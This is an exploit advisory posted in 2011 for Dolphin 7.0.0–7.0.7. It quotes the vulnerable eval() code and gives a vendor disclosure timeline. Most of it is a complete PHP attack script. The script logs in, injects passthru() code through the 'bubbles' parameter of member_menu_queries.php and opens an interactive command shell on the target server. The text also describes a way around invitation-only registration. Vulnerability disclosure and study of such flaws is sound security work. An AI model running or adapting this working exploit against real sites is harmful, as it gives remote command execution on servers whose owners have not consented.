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Dolphin 7.0.7 PHP Code Injection

Dolphin 7.0.7 PHP Code Injection
Posted Oct 18, 2011
Authored by EgiX

Dolphin versions 7.0.0 through 7.0.7 remote PHP code injection exploit.

tags | exploit, remote, php
MD5 | 4e3cc6620c4f2852ff8d8819015f2a5e

Dolphin 7.0.7 PHP Code Injection

Change Mirror Download
<?php

/*
----------------------------------------------------------------------------
Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
----------------------------------------------------------------------------

author...............: EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://www.boonex.com/dolphin
affected versions....: from 7.0.0 to 7.0.7

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /member_menu_queries.php

61. case 'get_bubbles_values' :
62. $sBubbles = ( isset($_GET['bubbles']) ) ? $_GET['bubbles'] : null;
63. if ( $sBubbles && $iMemberId ) {
64.
65. $aMemberInfo = getProfileInfo($iMemberId);
66. if($aMemberInfo['UserStatus'] != 'offline') {
67. // update the date of last navigate;
68. update_date_lastnav($iMemberId);
69. }
70.
71. $aBubbles = array();
72. $aBubblesItems = explode(',', $sBubbles);
73.
74. if ( $aBubblesItems && is_array($aBubblesItems) ) {
75. $bClearCache = false;
76. foreach( $aBubblesItems as $sValue)
77. {
78. $aItem = explode(':', $sValue);
79.
80. $sBubbleCode = null;
81. foreach($aMenuStructure as $sKey => $aItems)
82. {
83. foreach($aItems as $iKey => $aSubItems)
84. {
85. if( $aSubItems['Name'] == $aItem[0]) {
86. $sBubbleCode = $aSubItems['Bubble'];
87. break;
88. }
89. }
90.
91. if ($sBubbleCode) {
92. break;
93. }
94. }
95.
96. if ($sBubbleCode) {
97. $sCode = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
98. $sCode = str_replace('{ID}', $iMemberId, $sCode);
99.
100. eval($sCode);

When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
Successful exploitation of this vulnerability requires authentication, but is always possible to create a
new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.


[-] Disclosure timeline:

[25/09/2011] - Vulnerability discovered
[26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm
[26/09/2011] - A moderator hide the topic
[29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact
[04/10/2011] - Vendor replied that there is a designated place for this kind of report: "Dolphin Bug Reports" forum
[04/10/2011] - I replied that I've already posted in this forum, but the topic has been hidden
[05/10/2011] - Vendor reply: "It may has been hidden because it WASN'T posted in the proper place"
[05/10/2011] - My reply: "It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact"
[08/10/2011] - Vendor replied that a patch will be released as soon as possible
[13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1
[18/10/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / user pass";
print "\nExample....: php $argv[0] localhost /dolphin/ user pass\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "ID={$argv[3]}&Password={$argv[4]}";
$packet = "POST {$path}member.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) die("\n[-] Login failed!\n");

$phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])";
$packet = "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\ndolphin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/\r\n\r\n(.*)\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}

?>
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